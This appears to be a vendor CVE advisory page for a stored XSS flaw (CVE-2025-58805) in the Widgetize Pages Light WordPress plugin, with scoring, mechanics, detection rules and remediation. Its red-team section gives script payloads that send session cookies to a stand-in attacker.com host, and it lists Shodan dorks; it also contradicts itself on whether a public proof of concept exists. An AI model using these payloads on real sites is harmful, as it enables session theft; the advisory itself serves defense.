☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Otwthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58805

CVE-2025-58805 Cross-Site Scripting in Otwthemes
📅 PUBLISHED: 2025-09-05 14:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
1.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58805 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin Widgetize Pages Light by OTWthemes, affecting versions up to and including 3.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users (including administrators) when they view the compromised page. The CVSS v3.1 base score is 5.9 (Medium), with a vector emphasizing low attack complexity, required privileges, user interaction, and a scope change. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, it introduces risk into any site using the plugin. Supply chain risks include:

  • No official patch from OTWthemes, leaving all installations vulnerable.
  • Potential for malicious actors to fork or repackage the plugin with backdoors.
  • Dependency on third-party updates – site administrators must manually monitor for fixes or remove the plugin.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 5.9 (Medium)
  • Attack Vector (AV): Network – the vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): Low – attacker needs contributor-level access or higher.
  • User Interaction (UI): Required – victim must visit the compromised page.
  • Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure possible.
  • Integrity (I): Low – limited ability to modify content.
  • Availability (A): Low – limited impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation (e.g., session hijacking of an admin) elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability resides in the widgetize-pages-light plugin, which allows users to embed widgets into pages. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database and later rendering it on the frontend. Specifically, when a user with contributor-level access or higher creates or edits a page using the plugin’s shortcode or block, the input (e.g., widget title, content, or custom CSS) is not properly neutralized. An attacker can inject JavaScript code that is stored and executed when any user (including administrators) views the page.

Attack Flow:

  1. Attacker logs in with contributor-level credentials.
  2. Attacker creates a new page or edits an existing one, inserting the [widgetize-pages-light] shortcode.
  3. Attacker injects a malicious payload into a parameter (e.g., title or content), such as <script>alert('XSS')</script>.
  4. The payload is stored in the wp_posts or wp_postmeta table.
  5. When an administrator or other user visits the page, the script executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying WordPress escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s main PHP file (e.g., widgetize-pages-light.php). A typical vulnerable pattern:

// Vulnerable code (hypothetical)
function widgetize_pages_light_shortcode($atts) {
    $title = $atts['title'];
    return "<h2>$title</h2>";
}
add_shortcode('widgetize-pages-light', 'widgetize_pages_light_shortcode');

A patched version would sanitize the output:

// Patched code (hypothetical)
function widgetize_pages_light_shortcode($atts) {
    $title = esc_html($atts['title']);
    return "<h2>$title</h2>";
}
add_shortcode('widgetize-pages-light', 'widgetize_pages_light_shortcode');

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Widgetize Pages Light <= 3.0 installed and activated.
  • Attacker account with Contributor role or higher.

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new page.
  3. Insert the shortcode: [widgetize-pages-light title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
  4. Publish the page.
  5. Send the page link to an administrator.
  6. When the admin views the page, the script executes, exfiltrating their session cookie.

Proof-of-Concept Payload:

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team

Detection & Response:

  • Monitor for unusual shortcode usage in page/post content.
  • Look for script tags or event handlers in wp_posts.post_content.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.
  • Restrict contributor roles from using shortcodes that allow raw HTML.

Hunting Query (SQL):

SELECT ID, post_title, post_content FROM wp_posts
WHERE post_content LIKE '%<script%'
AND post_content LIKE '%widgetize-pages-light%';

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None available – plugin files not yet analyzed)
  • Network Indicators:
    • Outbound connections to unknown domains from WordPress admin pages.
    • HTTP requests containing document.cookie or fetch in query strings.
  • Log Entries:
    • WordPress audit logs showing creation of pages with widgetize-pages-light shortcode by non-admin users.
    • Web server logs with POST requests to wp-admin/post.php containing suspicious payloads.
  • Registry/File System: (N/A for WordPress)

Detection Engineering

YARA Rule

rule CVE_2025_58805_Widgetize_Pages_Light_XSS {
    meta:
        description = "Detects stored XSS payloads in Widgetize Pages Light plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58805"
    strings:
        $shortcode = /\[widgetize-pages-light[^\]]*\]/i
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        $shortcode and ($xss_payload or $event_handler)
}

Sigma Rule

title: Stored XSS via Widgetize Pages Light Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS attempts using the Widgetize Pages Light shortcode
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'post.php'
        cs-uri-query|contains: 'widgetize-pages-light'
        cs-uri-query|contains|re: '<script|onerror|onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58805 Stored XSS Widgetize Pages Light"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"widgetize-pages-light"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete widgetize-pages-light from all WordPress installations.
  2. Audit existing content – Scan all pages and posts for the shortcode and remove any suspicious entries.
  3. Change all user passwords – Especially for administrator accounts, as session cookies may have been stolen.

Long-Term Fixes:

  • Vendor patch – Await an official update from OTWthemes. If none arrives, consider forking the plugin and applying input sanitization.
  • Replace plugin – Migrate to an alternative widget plugin that is actively maintained and follows secure coding practices.
  • Implement Web Application Firewall (WAF) – Use rules to block XSS payloads in POST requests.

Workaround (if plugin must remain active):

  • Restrict the unfiltered_html capability to administrators only.
  • Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.

Valters IT
Securing Digital Ecosystems

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/widgetize-pages-light"
http.html:"widgetize-pages-light"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58805/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.